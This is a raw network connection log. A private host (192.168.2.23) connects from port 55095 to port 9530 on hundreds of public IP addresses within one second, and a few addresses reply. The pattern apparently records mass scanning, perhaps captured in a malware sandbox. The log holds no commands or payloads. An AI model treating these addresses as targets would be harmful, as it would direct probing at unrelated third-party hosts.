May 16, 2024 16:38:53.008831024 CEST	55095	9530	192.168.2.23	211.69.23.1
May 16, 2024 16:38:53.008838892 CEST	55095	9530	192.168.2.23	37.46.27.118
May 16, 2024 16:38:53.008841038 CEST	55095	9530	192.168.2.23	213.186.61.53
May 16, 2024 16:38:53.008841038 CEST	55095	9530	192.168.2.23	199.240.104.186
May 16, 2024 16:38:53.008841038 CEST	55095	9530	192.168.2.23	20.187.58.252
May 16, 2024 16:38:53.008842945 CEST	55095	9530	192.168.2.23	193.149.75.185
May 16, 2024 16:38:53.008850098 CEST	55095	9530	192.168.2.23	192.47.178.255
May 16, 2024 16:38:53.008850098 CEST	55095	9530	192.168.2.23	50.183.48.38
May 16, 2024 16:38:53.008857965 CEST	55095	9530	192.168.2.23	190.91.157.90
May 16, 2024 16:38:53.008863926 CEST	55095	9530	192.168.2.23	171.134.255.37
May 16, 2024 16:38:53.008863926 CEST	55095	9530	192.168.2.23	91.32.67.0
May 16, 2024 16:38:53.008867025 CEST	55095	9530	192.168.2.23	105.162.156.224
May 16, 2024 16:38:53.008867025 CEST	55095	9530	192.168.2.23	88.52.71.247
May 16, 2024 16:38:53.008873940 CEST	55095	9530	192.168.2.23	109.204.165.184
May 16, 2024 16:38:53.008877993 CEST	55095	9530	192.168.2.23	204.243.55.182
May 16, 2024 16:38:53.008887053 CEST	55095	9530	192.168.2.23	89.110.145.23
May 16, 2024 16:38:53.008888960 CEST	55095	9530	192.168.2.23	40.7.217.219
May 16, 2024 16:38:53.008899927 CEST	55095	9530	192.168.2.23	216.106.138.170
May 16, 2024 16:38:53.008900881 CEST	55095	9530	192.168.2.23	89.36.8.190
May 16, 2024 16:38:53.008903980 CEST	55095	9530	192.168.2.23	68.130.237.144
May 16, 2024 16:38:53.008904934 CEST	55095	9530	192.168.2.23	59.8.180.17
May 16, 2024 16:38:53.008909941 CEST	55095	9530	192.168.2.23	38.154.224.177
May 16, 2024 16:38:53.008914948 CEST	55095	9530	192.168.2.23	141.103.29.184
May 16, 2024 16:38:53.008929014 CEST	55095	9530	192.168.2.23	98.164.226.95
May 16, 2024 16:38:53.008932114 CEST	9530	58324	188.123.230.142	192.168.2.23
May 16, 2024 16:38:53.008936882 CEST	55095	9530	192.168.2.23	79.173.84.77
May 16, 2024 16:38:53.008940935 CEST	55095	9530	192.168.2.23	203.75.161.74
May 16, 2024 16:38:53.008941889 CEST	55095	9530	192.168.2.23	71.23.209.215
May 16, 2024 16:38:53.008944035 CEST	9530	44082	165.197.143.176	192.168.2.23
May 16, 2024 16:38:53.008951902 CEST	55095	9530	192.168.2.23	120.183.25.93
May 16, 2024 16:38:53.008954048 CEST	55095	9530	192.168.2.23	2.63.221.178
May 16, 2024 16:38:53.008954048 CEST	55095	9530	192.168.2.23	216.57.38.201
May 16, 2024 16:38:53.008955002 CEST	55095	9530	192.168.2.23	146.63.155.197
May 16, 2024 16:38:53.008955002 CEST	9530	40712	76.38.38.38	192.168.2.23
May 16, 2024 16:38:53.008965969 CEST	9530	48000	54.155.20.9	192.168.2.23
May 16, 2024 16:38:53.008965015 CEST	55095	9530	192.168.2.23	209.249.49.115
May 16, 2024 16:38:53.008970976 CEST	55095	9530	192.168.2.23	17.135.133.132
May 16, 2024 16:38:53.008975029 CEST	9530	49162	176.104.104.240	192.168.2.23
May 16, 2024 16:38:53.008976936 CEST	55095	9530	192.168.2.23	195.75.201.180
May 16, 2024 16:38:53.008979082 CEST	55095	9530	192.168.2.23	149.157.143.237
May 16, 2024 16:38:53.008979082 CEST	55095	9530	192.168.2.23	198.253.75.63
May 16, 2024 16:38:53.008979082 CEST	58324	9530	192.168.2.23	188.123.230.142
May 16, 2024 16:38:53.008984089 CEST	55095	9530	192.168.2.23	155.51.66.243
May 16, 2024 16:38:53.008984089 CEST	44082	9530	192.168.2.23	165.197.143.176
May 16, 2024 16:38:53.008991003 CEST	9530	44416	182.1.80.178	192.168.2.23
May 16, 2024 16:38:53.009000063 CEST	9530	44156	103.22.41.47	192.168.2.23
May 16, 2024 16:38:53.009002924 CEST	48000	9530	192.168.2.23	54.155.20.9
May 16, 2024 16:38:53.009006023 CEST	40712	9530	192.168.2.23	76.38.38.38
May 16, 2024 16:38:53.009007931 CEST	49162	9530	192.168.2.23	176.104.104.240
May 16, 2024 16:38:53.009011030 CEST	9530	43288	94.199.187.116	192.168.2.23
May 16, 2024 16:38:53.009020090 CEST	9530	52306	78.74.66.191	192.168.2.23
May 16, 2024 16:38:53.009020090 CEST	55095	9530	192.168.2.23	120.235.80.151
May 16, 2024 16:38:53.009032011 CEST	55095	9530	192.168.2.23	190.51.75.240
May 16, 2024 16:38:53.009032965 CEST	44416	9530	192.168.2.23	182.1.80.178
May 16, 2024 16:38:53.009033918 CEST	55095	9530	192.168.2.23	2.24.161.208
May 16, 2024 16:38:53.009033918 CEST	55095	9530	192.168.2.23	106.63.14.45
May 16, 2024 16:38:53.009035110 CEST	9530	43624	86.120.86.249	192.168.2.23
May 16, 2024 16:38:53.009033918 CEST	55095	9530	192.168.2.23	177.72.89.98
May 16, 2024 16:38:53.009042025 CEST	9530	52612	155.244.222.188	192.168.2.23
May 16, 2024 16:38:53.009043932 CEST	9530	36562	216.153.119.104	192.168.2.23
May 16, 2024 16:38:53.009046078 CEST	9530	40344	54.67.123.150	192.168.2.23
May 16, 2024 16:38:53.009047031 CEST	9530	33736	195.113.98.187	192.168.2.23
May 16, 2024 16:38:53.009051085 CEST	9530	36656	102.30.213.106	192.168.2.23
May 16, 2024 16:38:53.009053946 CEST	43288	9530	192.168.2.23	94.199.187.116
May 16, 2024 16:38:53.009053946 CEST	52306	9530	192.168.2.23	78.74.66.191
May 16, 2024 16:38:53.009056091 CEST	9530	54338	17.34.93.23	192.168.2.23
May 16, 2024 16:38:53.009066105 CEST	44156	9530	192.168.2.23	103.22.41.47
May 16, 2024 16:38:53.009066105 CEST	55095	9530	192.168.2.23	17.200.104.220
May 16, 2024 16:38:53.009076118 CEST	55095	9530	192.168.2.23	164.88.176.243
May 16, 2024 16:38:53.009082079 CEST	55095	9530	192.168.2.23	59.252.215.170
May 16, 2024 16:38:53.009087086 CEST	43624	9530	192.168.2.23	86.120.86.249
May 16, 2024 16:38:53.009090900 CEST	52612	9530	192.168.2.23	155.244.222.188
May 16, 2024 16:38:53.009092093 CEST	55095	9530	192.168.2.23	164.17.57.82
May 16, 2024 16:38:53.009115934 CEST	36562	9530	192.168.2.23	216.153.119.104
May 16, 2024 16:38:53.009123087 CEST	40344	9530	192.168.2.23	54.67.123.150
May 16, 2024 16:38:53.009123087 CEST	36656	9530	192.168.2.23	102.30.213.106
May 16, 2024 16:38:53.009135008 CEST	33736	9530	192.168.2.23	195.113.98.187
May 16, 2024 16:38:53.009135962 CEST	54338	9530	192.168.2.23	17.34.93.23
May 16, 2024 16:38:53.009143114 CEST	55095	9530	192.168.2.23	110.147.2.133
May 16, 2024 16:38:53.009143114 CEST	55095	9530	192.168.2.23	17.23.102.107
May 16, 2024 16:38:53.009166956 CEST	55095	9530	192.168.2.23	183.119.108.229
May 16, 2024 16:38:53.009170055 CEST	55095	9530	192.168.2.23	81.47.82.230
May 16, 2024 16:38:53.009170055 CEST	55095	9530	192.168.2.23	8.21.168.206
May 16, 2024 16:38:53.009170055 CEST	55095	9530	192.168.2.23	157.231.67.103
May 16, 2024 16:38:53.009179115 CEST	55095	9530	192.168.2.23	80.197.138.169
May 16, 2024 16:38:53.009182930 CEST	55095	9530	192.168.2.23	216.104.72.81
May 16, 2024 16:38:53.009183884 CEST	55095	9530	192.168.2.23	152.97.232.79
May 16, 2024 16:38:53.009185076 CEST	55095	9530	192.168.2.23	106.198.76.169
May 16, 2024 16:38:53.009186983 CEST	55095	9530	192.168.2.23	23.174.17.88
May 16, 2024 16:38:53.009186983 CEST	55095	9530	192.168.2.23	200.71.5.199
May 16, 2024 16:38:53.009186983 CEST	55095	9530	192.168.2.23	155.190.183.10
May 16, 2024 16:38:53.009190083 CEST	55095	9530	192.168.2.23	138.174.166.214
May 16, 2024 16:38:53.009203911 CEST	55095	9530	192.168.2.23	195.159.146.36
May 16, 2024 16:38:53.009208918 CEST	55095	9530	192.168.2.23	223.204.132.198
May 16, 2024 16:38:53.009208918 CEST	55095	9530	192.168.2.23	141.189.85.41
May 16, 2024 16:38:53.009208918 CEST	55095	9530	192.168.2.23	185.75.156.120
May 16, 2024 16:38:53.009211063 CEST	55095	9530	192.168.2.23	106.155.215.228
May 16, 2024 16:38:53.009217024 CEST	55095	9530	192.168.2.23	96.85.237.196
May 16, 2024 16:38:53.009222984 CEST	55095	9530	192.168.2.23	221.143.145.21
May 16, 2024 16:38:53.009231091 CEST	55095	9530	192.168.2.23	165.129.140.169
May 16, 2024 16:38:53.009231091 CEST	55095	9530	192.168.2.23	157.108.181.97
May 16, 2024 16:38:53.009231091 CEST	55095	9530	192.168.2.23	135.69.228.84
May 16, 2024 16:38:53.009231091 CEST	55095	9530	192.168.2.23	73.183.116.56
May 16, 2024 16:38:53.009252071 CEST	55095	9530	192.168.2.23	101.191.105.237
May 16, 2024 16:38:53.009253979 CEST	55095	9530	192.168.2.23	164.58.167.4
May 16, 2024 16:38:53.009263992 CEST	55095	9530	192.168.2.23	68.84.61.24
May 16, 2024 16:38:53.009263992 CEST	55095	9530	192.168.2.23	57.100.179.117
May 16, 2024 16:38:53.009263992 CEST	55095	9530	192.168.2.23	164.115.99.193
May 16, 2024 16:38:53.009265900 CEST	55095	9530	192.168.2.23	176.200.80.155
May 16, 2024 16:38:53.009263039 CEST	55095	9530	192.168.2.23	105.6.208.142
May 16, 2024 16:38:53.009279013 CEST	55095	9530	192.168.2.23	166.128.164.149
May 16, 2024 16:38:53.009284973 CEST	55095	9530	192.168.2.23	92.76.185.211
May 16, 2024 16:38:53.009285927 CEST	55095	9530	192.168.2.23	172.200.180.160
May 16, 2024 16:38:53.009287119 CEST	55095	9530	192.168.2.23	38.190.19.58
May 16, 2024 16:38:53.009291887 CEST	55095	9530	192.168.2.23	78.245.72.68
May 16, 2024 16:38:53.009291887 CEST	55095	9530	192.168.2.23	59.46.156.139
May 16, 2024 16:38:53.009291887 CEST	55095	9530	192.168.2.23	223.180.138.131
May 16, 2024 16:38:53.009295940 CEST	55095	9530	192.168.2.23	163.191.121.162
May 16, 2024 16:38:53.009308100 CEST	55095	9530	192.168.2.23	25.10.107.154
May 16, 2024 16:38:53.009308100 CEST	55095	9530	192.168.2.23	154.16.65.86
May 16, 2024 16:38:53.009308100 CEST	55095	9530	192.168.2.23	40.234.83.203
May 16, 2024 16:38:53.009310007 CEST	55095	9530	192.168.2.23	155.65.177.237
May 16, 2024 16:38:53.009310007 CEST	55095	9530	192.168.2.23	192.24.214.216
May 16, 2024 16:38:53.009310961 CEST	55095	9530	192.168.2.23	202.40.119.121
May 16, 2024 16:38:53.009310007 CEST	55095	9530	192.168.2.23	176.87.2.7
May 16, 2024 16:38:53.009311914 CEST	55095	9530	192.168.2.23	220.163.216.21
May 16, 2024 16:38:53.009322882 CEST	55095	9530	192.168.2.23	80.9.155.26
May 16, 2024 16:38:53.009325027 CEST	55095	9530	192.168.2.23	1.75.231.73
May 16, 2024 16:38:53.009327888 CEST	55095	9530	192.168.2.23	157.167.17.36
May 16, 2024 16:38:53.009325981 CEST	55095	9530	192.168.2.23	184.20.146.13
May 16, 2024 16:38:53.009337902 CEST	55095	9530	192.168.2.23	181.62.103.195
May 16, 2024 16:38:53.009345055 CEST	55095	9530	192.168.2.23	71.245.115.32
May 16, 2024 16:38:53.009345055 CEST	55095	9530	192.168.2.23	13.163.99.12
May 16, 2024 16:38:53.009346008 CEST	55095	9530	192.168.2.23	119.124.154.209
May 16, 2024 16:38:53.009358883 CEST	55095	9530	192.168.2.23	182.217.136.124
May 16, 2024 16:38:53.009358883 CEST	55095	9530	192.168.2.23	117.170.61.210
May 16, 2024 16:38:53.009371996 CEST	55095	9530	192.168.2.23	98.183.249.243
May 16, 2024 16:38:53.009387970 CEST	55095	9530	192.168.2.23	121.61.165.247
May 16, 2024 16:38:53.009388924 CEST	55095	9530	192.168.2.23	67.80.80.140
May 16, 2024 16:38:53.009388924 CEST	55095	9530	192.168.2.23	149.235.59.13
May 16, 2024 16:38:53.009391069 CEST	55095	9530	192.168.2.23	63.137.199.152
May 16, 2024 16:38:53.009402990 CEST	55095	9530	192.168.2.23	158.195.16.188
May 16, 2024 16:38:53.009402990 CEST	55095	9530	192.168.2.23	96.53.134.112
May 16, 2024 16:38:53.009413004 CEST	55095	9530	192.168.2.23	121.109.89.115
May 16, 2024 16:38:53.009413004 CEST	55095	9530	192.168.2.23	42.50.97.214
May 16, 2024 16:38:53.009422064 CEST	55095	9530	192.168.2.23	64.243.1.146
May 16, 2024 16:38:53.009422064 CEST	55095	9530	192.168.2.23	155.98.219.125
May 16, 2024 16:38:53.009424925 CEST	55095	9530	192.168.2.23	177.102.117.21
May 16, 2024 16:38:53.009424925 CEST	55095	9530	192.168.2.23	180.95.168.248
May 16, 2024 16:38:53.009442091 CEST	55095	9530	192.168.2.23	171.52.234.131
May 16, 2024 16:38:53.009449959 CEST	55095	9530	192.168.2.23	120.212.130.95
May 16, 2024 16:38:53.009455919 CEST	55095	9530	192.168.2.23	19.137.183.5
May 16, 2024 16:38:53.009457111 CEST	55095	9530	192.168.2.23	176.155.246.155
May 16, 2024 16:38:53.009458065 CEST	55095	9530	192.168.2.23	107.90.131.197
May 16, 2024 16:38:53.009465933 CEST	55095	9530	192.168.2.23	173.199.227.160
May 16, 2024 16:38:53.009474993 CEST	55095	9530	192.168.2.23	137.99.243.181
May 16, 2024 16:38:53.009474993 CEST	55095	9530	192.168.2.23	73.92.36.176
May 16, 2024 16:38:53.009474993 CEST	55095	9530	192.168.2.23	137.147.110.122
May 16, 2024 16:38:53.009474993 CEST	55095	9530	192.168.2.23	25.117.178.88
May 16, 2024 16:38:53.009490013 CEST	55095	9530	192.168.2.23	40.63.118.90
May 16, 2024 16:38:53.009490013 CEST	55095	9530	192.168.2.23	126.114.115.87
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	219.170.12.60
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	93.126.12.240
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	172.207.125.177
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	211.202.34.53
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	149.19.251.183
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	164.130.229.12
May 16, 2024 16:38:53.009495974 CEST	55095	9530	192.168.2.23	221.235.239.106
May 16, 2024 16:38:53.009501934 CEST	55095	9530	192.168.2.23	46.210.153.36
May 16, 2024 16:38:53.009505033 CEST	55095	9530	192.168.2.23	185.56.121.164
May 16, 2024 16:38:53.009505033 CEST	55095	9530	192.168.2.23	148.44.58.108
May 16, 2024 16:38:53.009521008 CEST	55095	9530	192.168.2.23	99.253.22.66
May 16, 2024 16:38:53.009521008 CEST	55095	9530	192.168.2.23	86.8.171.148
May 16, 2024 16:38:53.009521961 CEST	55095	9530	192.168.2.23	58.89.48.52
May 16, 2024 16:38:53.009521961 CEST	55095	9530	192.168.2.23	63.247.111.119
May 16, 2024 16:38:53.009521961 CEST	55095	9530	192.168.2.23	194.60.237.207
May 16, 2024 16:38:53.009521961 CEST	55095	9530	192.168.2.23	196.186.39.210
May 16, 2024 16:38:53.009532928 CEST	55095	9530	192.168.2.23	99.237.77.14
May 16, 2024 16:38:53.009535074 CEST	55095	9530	192.168.2.23	219.12.238.122
May 16, 2024 16:38:53.009541035 CEST	55095	9530	192.168.2.23	58.205.156.132
May 16, 2024 16:38:53.009546995 CEST	55095	9530	192.168.2.23	96.122.40.161
May 16, 2024 16:38:53.009546995 CEST	55095	9530	192.168.2.23	144.184.139.70
May 16, 2024 16:38:53.009548903 CEST	55095	9530	192.168.2.23	129.32.107.201
May 16, 2024 16:38:53.009548903 CEST	55095	9530	192.168.2.23	76.170.51.24
May 16, 2024 16:38:53.009548903 CEST	55095	9530	192.168.2.23	187.140.151.88
May 16, 2024 16:38:53.009565115 CEST	55095	9530	192.168.2.23	176.182.113.220
May 16, 2024 16:38:53.009565115 CEST	55095	9530	192.168.2.23	183.196.170.234
May 16, 2024 16:38:53.009569883 CEST	55095	9530	192.168.2.23	88.137.178.37
May 16, 2024 16:38:53.009576082 CEST	55095	9530	192.168.2.23	168.234.221.47
May 16, 2024 16:38:53.009577036 CEST	55095	9530	192.168.2.23	78.38.28.111
May 16, 2024 16:38:53.009582996 CEST	55095	9530	192.168.2.23	144.179.87.12
May 16, 2024 16:38:53.009604931 CEST	55095	9530	192.168.2.23	83.107.25.117
May 16, 2024 16:38:53.009605885 CEST	55095	9530	192.168.2.23	138.33.24.190
May 16, 2024 16:38:53.009605885 CEST	55095	9530	192.168.2.23	34.85.46.97
May 16, 2024 16:38:53.009604931 CEST	55095	9530	192.168.2.23	140.39.24.121
May 16, 2024 16:38:53.009610891 CEST	55095	9530	192.168.2.23	171.64.15.169
May 16, 2024 16:38:53.009610891 CEST	55095	9530	192.168.2.23	48.54.72.140
May 16, 2024 16:38:53.009610891 CEST	55095	9530	192.168.2.23	41.75.187.40
May 16, 2024 16:38:53.009610891 CEST	55095	9530	192.168.2.23	156.216.140.55
May 16, 2024 16:38:53.009613037 CEST	55095	9530	192.168.2.23	62.94.2.20
May 16, 2024 16:38:53.009613037 CEST	55095	9530	192.168.2.23	114.57.103.122
May 16, 2024 16:38:53.009613037 CEST	55095	9530	192.168.2.23	77.159.159.68
May 16, 2024 16:38:53.009623051 CEST	55095	9530	192.168.2.23	89.52.191.92
May 16, 2024 16:38:53.009635925 CEST	55095	9530	192.168.2.23	205.111.229.76
May 16, 2024 16:38:53.009635925 CEST	55095	9530	192.168.2.23	190.232.37.111
May 16, 2024 16:38:53.009635925 CEST	55095	9530	192.168.2.23	37.82.102.169
May 16, 2024 16:38:53.009640932 CEST	55095	9530	192.168.2.23	116.37.106.121
May 16, 2024 16:38:53.009643078 CEST	55095	9530	192.168.2.23	52.215.18.1
May 16, 2024 16:38:53.009643078 CEST	55095	9530	192.168.2.23	186.9.204.237
May 16, 2024 16:38:53.009656906 CEST	55095	9530	192.168.2.23	59.139.155.231
May 16, 2024 16:38:53.009660006 CEST	55095	9530	192.168.2.23	95.108.61.126
May 16, 2024 16:38:53.009668112 CEST	55095	9530	192.168.2.23	91.58.204.122
May 16, 2024 16:38:53.009673119 CEST	55095	9530	192.168.2.23	66.20.7.67
May 16, 2024 16:38:53.009680033 CEST	55095	9530	192.168.2.23	64.114.187.159
May 16, 2024 16:38:53.009680033 CEST	55095	9530	192.168.2.23	111.179.49.115
May 16, 2024 16:38:53.009684086 CEST	55095	9530	192.168.2.23	82.118.96.2
May 16, 2024 16:38:53.009684086 CEST	55095	9530	192.168.2.23	177.145.153.173
May 16, 2024 16:38:53.009686947 CEST	55095	9530	192.168.2.23	106.21.143.241
May 16, 2024 16:38:53.009691000 CEST	55095	9530	192.168.2.23	43.182.248.56
May 16, 2024 16:38:53.009691000 CEST	55095	9530	192.168.2.23	136.128.234.94
May 16, 2024 16:38:53.009691000 CEST	55095	9530	192.168.2.23	70.45.157.71
May 16, 2024 16:38:53.009691000 CEST	55095	9530	192.168.2.23	210.95.251.120
May 16, 2024 16:38:53.009691954 CEST	55095	9530	192.168.2.23	101.184.4.75
May 16, 2024 16:38:53.009704113 CEST	55095	9530	192.168.2.23	124.84.252.125
May 16, 2024 16:38:53.009721994 CEST	55095	9530	192.168.2.23	147.118.111.149
May 16, 2024 16:38:53.009725094 CEST	55095	9530	192.168.2.23	41.165.101.77
May 16, 2024 16:38:53.009726048 CEST	55095	9530	192.168.2.23	170.213.240.116
May 16, 2024 16:38:53.009728909 CEST	55095	9530	192.168.2.23	184.137.140.182
May 16, 2024 16:38:53.009737968 CEST	55095	9530	192.168.2.23	81.76.11.163
May 16, 2024 16:38:53.009737968 CEST	55095	9530	192.168.2.23	173.146.89.128
May 16, 2024 16:38:53.009738922 CEST	55095	9530	192.168.2.23	158.129.224.43
May 16, 2024 16:38:53.009741068 CEST	55095	9530	192.168.2.23	62.131.225.162
May 16, 2024 16:38:53.009742022 CEST	55095	9530	192.168.2.23	135.227.60.13
May 16, 2024 16:38:53.009742975 CEST	55095	9530	192.168.2.23	185.86.83.194
May 16, 2024 16:38:53.009742975 CEST	55095	9530	192.168.2.23	189.182.171.248
May 16, 2024 16:38:53.009742975 CEST	55095	9530	192.168.2.23	112.42.65.226
May 16, 2024 16:38:53.009752035 CEST	55095	9530	192.168.2.23	112.159.127.187
May 16, 2024 16:38:53.009752035 CEST	55095	9530	192.168.2.23	174.160.113.223
May 16, 2024 16:38:53.009756088 CEST	55095	9530	192.168.2.23	40.53.183.101
May 16, 2024 16:38:53.009756088 CEST	55095	9530	192.168.2.23	63.105.151.203
May 16, 2024 16:38:53.009757996 CEST	55095	9530	192.168.2.23	99.20.95.129
May 16, 2024 16:38:53.009766102 CEST	55095	9530	192.168.2.23	220.18.6.135
May 16, 2024 16:38:53.009771109 CEST	55095	9530	192.168.2.23	74.28.204.66
May 16, 2024 16:38:53.009774923 CEST	55095	9530	192.168.2.23	67.225.158.22
May 16, 2024 16:38:53.009774923 CEST	55095	9530	192.168.2.23	126.255.39.138
May 16, 2024 16:38:53.009776115 CEST	55095	9530	192.168.2.23	48.118.3.134
May 16, 2024 16:38:53.009777069 CEST	55095	9530	192.168.2.23	125.122.159.46
May 16, 2024 16:38:53.009777069 CEST	55095	9530	192.168.2.23	167.110.237.213
May 16, 2024 16:38:53.009793997 CEST	55095	9530	192.168.2.23	97.136.139.235
May 16, 2024 16:38:53.009795904 CEST	55095	9530	192.168.2.23	125.51.236.160
May 16, 2024 16:38:53.009797096 CEST	55095	9530	192.168.2.23	113.243.228.249
May 16, 2024 16:38:53.009800911 CEST	55095	9530	192.168.2.23	207.87.129.152
May 16, 2024 16:38:53.009809971 CEST	55095	9530	192.168.2.23	137.166.172.214
May 16, 2024 16:38:53.009814978 CEST	55095	9530	192.168.2.23	172.197.33.80
May 16, 2024 16:38:53.009814978 CEST	55095	9530	192.168.2.23	84.132.176.247
May 16, 2024 16:38:53.009814978 CEST	55095	9530	192.168.2.23	13.251.172.167
May 16, 2024 16:38:53.009824038 CEST	55095	9530	192.168.2.23	138.162.227.241
May 16, 2024 16:38:53.009825945 CEST	55095	9530	192.168.2.23	125.19.133.111
May 16, 2024 16:38:53.009829998 CEST	55095	9530	192.168.2.23	171.50.121.221
May 16, 2024 16:38:53.009833097 CEST	55095	9530	192.168.2.23	85.207.7.48
May 16, 2024 16:38:53.009839058 CEST	55095	9530	192.168.2.23	113.7.174.229
May 16, 2024 16:38:53.009840012 CEST	55095	9530	192.168.2.23	40.84.71.54
May 16, 2024 16:38:53.009850979 CEST	55095	9530	192.168.2.23	40.183.122.16
May 16, 2024 16:38:53.009850979 CEST	55095	9530	192.168.2.23	146.95.149.202
May 16, 2024 16:38:53.009850979 CEST	55095	9530	192.168.2.23	206.5.85.135
May 16, 2024 16:38:53.009865999 CEST	55095	9530	192.168.2.23	165.229.233.20
May 16, 2024 16:38:53.009870052 CEST	55095	9530	192.168.2.23	192.176.169.19
May 16, 2024 16:38:53.009882927 CEST	55095	9530	192.168.2.23	63.172.7.103
May 16, 2024 16:38:53.009884119 CEST	55095	9530	192.168.2.23	27.144.120.207
May 16, 2024 16:38:53.009892941 CEST	55095	9530	192.168.2.23	208.231.228.197
May 16, 2024 16:38:53.009896994 CEST	55095	9530	192.168.2.23	42.131.45.187
May 16, 2024 16:38:53.009896994 CEST	55095	9530	192.168.2.23	135.140.223.191
May 16, 2024 16:38:53.009902000 CEST	55095	9530	192.168.2.23	79.90.38.163
May 16, 2024 16:38:53.009902000 CEST	55095	9530	192.168.2.23	86.7.247.191
May 16, 2024 16:38:53.009917974 CEST	55095	9530	192.168.2.23	68.228.7.97
May 16, 2024 16:38:53.009924889 CEST	55095	9530	192.168.2.23	178.65.164.117
May 16, 2024 16:38:53.009927034 CEST	55095	9530	192.168.2.23	117.249.253.166
May 16, 2024 16:38:53.009927034 CEST	55095	9530	192.168.2.23	39.111.0.99
May 16, 2024 16:38:53.009929895 CEST	55095	9530	192.168.2.23	69.61.41.161
May 16, 2024 16:38:53.009929895 CEST	55095	9530	192.168.2.23	57.112.127.203
May 16, 2024 16:38:53.009929895 CEST	55095	9530	192.168.2.23	188.8.152.127
May 16, 2024 16:38:53.009933949 CEST	55095	9530	192.168.2.23	46.11.97.67
May 16, 2024 16:38:53.009958029 CEST	55095	9530	192.168.2.23	189.233.163.34
May 16, 2024 16:38:53.009958029 CEST	55095	9530	192.168.2.23	52.65.156.20
May 16, 2024 16:38:53.009963036 CEST	55095	9530	192.168.2.23	63.64.192.192
May 16, 2024 16:38:53.009965897 CEST	55095	9530	192.168.2.23	171.247.162.53
May 16, 2024 16:38:53.009965897 CEST	55095	9530	192.168.2.23	82.114.227.105
May 16, 2024 16:38:53.009967089 CEST	55095	9530	192.168.2.23	132.211.7.108
May 16, 2024 16:38:53.009968996 CEST	55095	9530	192.168.2.23	135.108.40.214
May 16, 2024 16:38:53.009982109 CEST	55095	9530	192.168.2.23	85.46.221.67
May 16, 2024 16:38:53.009991884 CEST	55095	9530	192.168.2.23	14.112.223.85
May 16, 2024 16:38:53.009995937 CEST	55095	9530	192.168.2.23	107.187.155.100
May 16, 2024 16:38:53.009995937 CEST	55095	9530	192.168.2.23	49.78.105.20
May 16, 2024 16:38:53.010010958 CEST	55095	9530	192.168.2.23	67.89.136.171
May 16, 2024 16:38:53.010011911 CEST	55095	9530	192.168.2.23	94.245.209.92
May 16, 2024 16:38:53.010011911 CEST	55095	9530	192.168.2.23	146.45.44.168
May 16, 2024 16:38:53.010015965 CEST	55095	9530	192.168.2.23	13.107.233.114
May 16, 2024 16:38:53.010015965 CEST	55095	9530	192.168.2.23	4.80.4.94
May 16, 2024 16:38:53.010019064 CEST	55095	9530	192.168.2.23	105.70.74.0
May 16, 2024 16:38:53.010019064 CEST	55095	9530	192.168.2.23	182.27.6.109
May 16, 2024 16:38:53.010023117 CEST	55095	9530	192.168.2.23	48.77.45.219
May 16, 2024 16:38:53.010023117 CEST	55095	9530	192.168.2.23	34.200.114.186
May 16, 2024 16:38:53.010023117 CEST	55095	9530	192.168.2.23	94.6.17.84
May 16, 2024 16:38:53.010034084 CEST	55095	9530	192.168.2.23	25.125.67.165
May 16, 2024 16:38:53.010040998 CEST	55095	9530	192.168.2.23	60.231.139.174
May 16, 2024 16:38:53.010040998 CEST	55095	9530	192.168.2.23	93.42.43.105
May 16, 2024 16:38:53.010040998 CEST	55095	9530	192.168.2.23	43.106.143.167
May 16, 2024 16:38:53.010040998 CEST	55095	9530	192.168.2.23	205.108.161.24
May 16, 2024 16:38:53.010044098 CEST	55095	9530	192.168.2.23	45.218.171.109
May 16, 2024 16:38:53.010045052 CEST	55095	9530	192.168.2.23	153.154.192.48
May 16, 2024 16:38:53.010049105 CEST	55095	9530	192.168.2.23	99.84.176.207
May 16, 2024 16:38:53.010049105 CEST	55095	9530	192.168.2.23	179.223.31.213
May 16, 2024 16:38:53.010057926 CEST	55095	9530	192.168.2.23	108.241.140.31
May 16, 2024 16:38:53.010057926 CEST	55095	9530	192.168.2.23	167.95.41.87
May 16, 2024 16:38:53.010065079 CEST	55095	9530	192.168.2.23	176.66.126.139
May 16, 2024 16:38:53.010065079 CEST	55095	9530	192.168.2.23	191.238.27.53
May 16, 2024 16:38:53.010065079 CEST	55095	9530	192.168.2.23	140.6.71.172
May 16, 2024 16:38:53.010073900 CEST	55095	9530	192.168.2.23	57.222.24.45
May 16, 2024 16:38:53.010087967 CEST	55095	9530	192.168.2.23	31.214.170.240
May 16, 2024 16:38:53.010093927 CEST	55095	9530	192.168.2.23	77.121.181.62
May 16, 2024 16:38:53.010093927 CEST	55095	9530	192.168.2.23	25.49.196.214
May 16, 2024 16:38:53.010099888 CEST	55095	9530	192.168.2.23	43.88.23.243
May 16, 2024 16:38:53.010099888 CEST	55095	9530	192.168.2.23	40.206.17.16
May 16, 2024 16:38:53.010102034 CEST	55095	9530	192.168.2.23	130.62.27.251
May 16, 2024 16:38:53.010102034 CEST	55095	9530	192.168.2.23	209.111.58.162
May 16, 2024 16:38:53.010103941 CEST	55095	9530	192.168.2.23	8.56.107.220
May 16, 2024 16:38:53.010112047 CEST	55095	9530	192.168.2.23	130.66.37.10
May 16, 2024 16:38:53.010119915 CEST	55095	9530	192.168.2.23	121.52.112.152
May 16, 2024 16:38:53.010119915 CEST	55095	9530	192.168.2.23	40.10.25.218
May 16, 2024 16:38:53.010133028 CEST	55095	9530	192.168.2.23	100.182.58.36
May 16, 2024 16:38:53.010133028 CEST	55095	9530	192.168.2.23	70.192.100.115
May 16, 2024 16:38:53.010138035 CEST	55095	9530	192.168.2.23	63.21.8.228
May 16, 2024 16:38:53.010139942 CEST	55095	9530	192.168.2.23	108.43.123.154
May 16, 2024 16:38:53.010147095 CEST	55095	9530	192.168.2.23	202.119.56.186
May 16, 2024 16:38:53.010147095 CEST	55095	9530	192.168.2.23	222.214.210.245
May 16, 2024 16:38:53.010160923 CEST	55095	9530	192.168.2.23	221.227.153.74
May 16, 2024 16:38:53.010164976 CEST	55095	9530	192.168.2.23	203.29.253.165
May 16, 2024 16:38:53.010185003 CEST	55095	9530	192.168.2.23	63.155.154.71
May 16, 2024 16:38:53.010185003 CEST	55095	9530	192.168.2.23	18.207.121.94
May 16, 2024 16:38:53.010185957 CEST	55095	9530	192.168.2.23	146.223.104.172
